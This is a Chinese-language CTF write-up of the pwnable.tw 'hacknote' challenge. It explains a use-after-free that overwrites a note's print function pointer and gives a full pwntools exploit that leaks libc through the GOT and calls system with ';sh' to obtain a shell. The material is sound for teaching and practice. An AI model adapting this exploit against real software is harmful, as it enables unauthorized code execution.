Contents
  1. 1. hacknote
    1. 1.1. 分析
    2. 1.2. exp

hacknote

分析

漏洞很明显了,uaf

其中有个note结构体如下,程序就是一个菜单,比较好理解

1
2
3
4
struct note {
void (*printnote)(); // 打印函数
char *content; // content
};
  1. 通过调用puts打印,参数指针修改为函数got地址,可以泄露出libc【可以gdb调试看一下】

    1‘. 还有一种方法就是通过申请unsorted,然后释放,泄露main_arena,得到libc

  2. 将调用的puts指针修改为sys,参数就是content指针,将该指针修改为binsh即可【这里别人写we can put something like ';sh' in content. Because string before ';' can not be executed, we have to add a ';' to split it,所以我们可以用&&sh||sh等】

其中因为在malloc content空间前,会malloc(8)【实际是16大小】来存放note结构体,我们add2个fastbin(input size>0xc)再释放

1
2
3
4
5
6
7
8
9
------------------------
malloc(8)-->16
------------------------
malloc(16)-->24 # 0
------------------------
malloc(8)-->16
------------------------
malloc(16)-->24 # 1
------------------------

delete(0) delete(1)后

1
fastbin: 1 --> 0

这样再次申请fastbin大小的chunk,就可以向index0处的note写入

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!usr/bin/python
from pwn import *
context.log_level = 'debug'

binary = "./hacknote"
ip = "chall.pwnable.tw"
port = 10102
elf = ELF(binary)

read_got = elf.got['read']

def menu(choice):
io.sendlineafter("Your choice :", str(choice))

def add(size, content):
menu(1)
io.sendlineafter("size :", str(size))
io.sendafter("Content :", content)

def delete(idx):
menu(2)
io.sendlineafter("Index :", str(idx))

def p(idx):
menu(3)
io.sendlineafter("Index :", str(idx))

def pwn(ip, port, debug):
global io
if debug == 1:
io = process(binary)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# gdb.attach(io)
else:
io = remote(ip, port)
libc = ELF("libc_32.so.6")
add(16, "A") # 0
add(16, "A") # 1
delete(0)
delete(1)

add(8, p32(0x0804862b)+p32(read_got)) # 2
p(0)
read_leak = u32(io.recv(4))
libc_base = read_leak - libc.sym['read']
sys_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search("/bin/sh\x00").next()
print "sys_addr = "+hex(sys_addr)

delete(2)
add(8, p32(sys_addr)+';sh')
p(0)

io.interactive()

if __name__ == '__main__':
pwn(ip, port, 0)

参考: